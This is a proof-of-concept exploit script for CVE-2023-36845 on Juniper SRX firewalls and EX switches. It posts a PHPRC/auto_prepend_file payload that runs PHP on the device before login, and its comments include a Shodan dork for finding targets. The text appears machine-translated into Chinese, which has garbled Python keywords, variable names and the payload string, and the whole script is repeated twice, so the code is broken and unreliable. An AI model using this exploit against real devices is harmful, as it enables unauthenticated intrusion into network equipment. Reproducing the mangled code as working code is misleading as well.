#**************************************************************************************************************************************************************************
#利用标题: Juniper-SRX-FireWallSex-Switches(Preauth-RCE)(POC)
#Description:
#
#该代码既是CVE-2023-36845的漏洞检测器,也是概念证明。
#它在目标设备的登录页面上执行phpinfo()函数,
#允许检查PHP配置。此外,此脚本可以选择保存phpinfo()
#输出文件以进行进一步分析。
#
#shodan dork: http.favicon.hash:2141724739
#日期: 2023/10/01
#利用作者: WhiteOwl([email protected])
#供应商homepage3360 https://wheiteowl-pub.github.io
#版本:版本在20.4r3-s9,21.1r1,21.2r3-s7,21.3r3-s5,
#21.4R3-S5,22.1R3-S4,22.22.2R3-S2,22.3R2-S2/R3-S1,22。
#4R2-S1/R3,23.2R1-S1/R2
#测试在: Junos SM804122PRI 15.1x49-D170.4
#CVE : CVE-2023-36845
#**************************************************************************************************************************************************************************
导入argparse
导入请求
横幅='''
******************************************************************************
* CVE-2023-36845脆弱性检测概念证明*
此脚本检查CVE-2023-36845漏洞
*并在脆弱设备上运行phpinfo()。 *
如果您怀疑脆弱的系统,请采取行动
*立即确保它。 *
* *
*作者: WhiteOwl *
******************************************************************************
'''
def send_request(url,output_file=none,verbose=false):
target_url=f'{url}/?phprc=/dev/fd/0'
data='ally_url_include=1 \ nauto_prepend_file='data: //text/plain; base64,pd8kicagcghwaw5mbygpowo/pg==''''
标题={
'用户代理:'Mozilla/5.0',
}
TRY:
响应=requests.post(target_url,headers=标题,data=data,stream=true)
if antsphy.status_code==200:
打印(“目标设备易受: CVE-2023-36845')
其他:
print('不脆弱:状态代码',wendesp.status_code)
如果output_file:
用file:打开(output_file,'w',encoding='utf-8')
file.write(whests.text)
如果有词:
print(f'http status code: {response.status_code}')
打印('响应标题:')
对于标题,with wenders.headers.items():
print(f'{header} : {value}')
打印('响应内容:')
打印(响应。文本)
除了requests.exceptions.requestexception为e:
打印(发生f'an错误: {e}')
def main():
印刷(横幅)
parser=argparse.argumentparser(description='自定义卷发脚本')
parser.add_argument(' - u',' - url',必需=true,help='url发送http request')
parser.add_argument(' - o',' - 输出',help='输出文件以保存html content')
parser.add_argument(' - v',' - verbose',action='store_true',help='enable verbose模式')
args=parser.parse_args()
send_request(args.url,args.output,args.verbose)
如果name=='__ -Main __':
主要的()
#利用标题: Juniper-SRX-FireWallSex-Switches(Preauth-RCE)(POC)
#Description:
#
#该代码既是CVE-2023-36845的漏洞检测器,也是概念证明。
#它在目标设备的登录页面上执行phpinfo()函数,
#允许检查PHP配置。此外,此脚本可以选择保存phpinfo()
#输出文件以进行进一步分析。
#
#shodan dork: http.favicon.hash:2141724739
#日期: 2023/10/01
#利用作者: WhiteOwl([email protected])
#供应商homepage3360 https://wheiteowl-pub.github.io
#版本:版本在20.4r3-s9,21.1r1,21.2r3-s7,21.3r3-s5,
#21.4R3-S5,22.1R3-S4,22.22.2R3-S2,22.3R2-S2/R3-S1,22。
#4R2-S1/R3,23.2R1-S1/R2
#测试在: Junos SM804122PRI 15.1x49-D170.4
#CVE : CVE-2023-36845
#**************************************************************************************************************************************************************************
导入argparse
导入请求
横幅='''
******************************************************************************
* CVE-2023-36845脆弱性检测概念证明*
此脚本检查CVE-2023-36845漏洞
*并在脆弱设备上运行phpinfo()。 *
如果您怀疑脆弱的系统,请采取行动
*立即确保它。 *
* *
*作者: WhiteOwl *
******************************************************************************
'''
def send_request(url,output_file=none,verbose=false):
target_url=f'{url}/?phprc=/dev/fd/0'
data='ally_url_include=1 \ nauto_prepend_file='data: //text/plain; base64,pd8kicagcghwaw5mbygpowo/pg==''''
标题={
'用户代理:'Mozilla/5.0',
}
TRY:
响应=requests.post(target_url,headers=标题,data=data,stream=true)
if antsphy.status_code==200:
打印(“目标设备易受: CVE-2023-36845')
其他:
print('不脆弱:状态代码',wendesp.status_code)
如果output_file:
用file:打开(output_file,'w',encoding='utf-8')
file.write(whests.text)
如果有词:
print(f'http status code: {response.status_code}')
打印('响应标题:')
对于标题,with wenders.headers.items():
print(f'{header} : {value}')
打印('响应内容:')
打印(响应。文本)
除了requests.exceptions.requestexception为e:
打印(发生f'an错误: {e}')
def main():
印刷(横幅)
parser=argparse.argumentparser(description='自定义卷发脚本')
parser.add_argument(' - u',' - url',必需=true,help='url发送http request')
parser.add_argument(' - o',' - 输出',help='输出文件以保存html content')
parser.add_argument(' - v',' - verbose',action='store_true',help='enable verbose模式')
args=parser.parse_args()
send_request(args.url,args.output,args.verbose)
如果name=='__ -Main __':
主要的()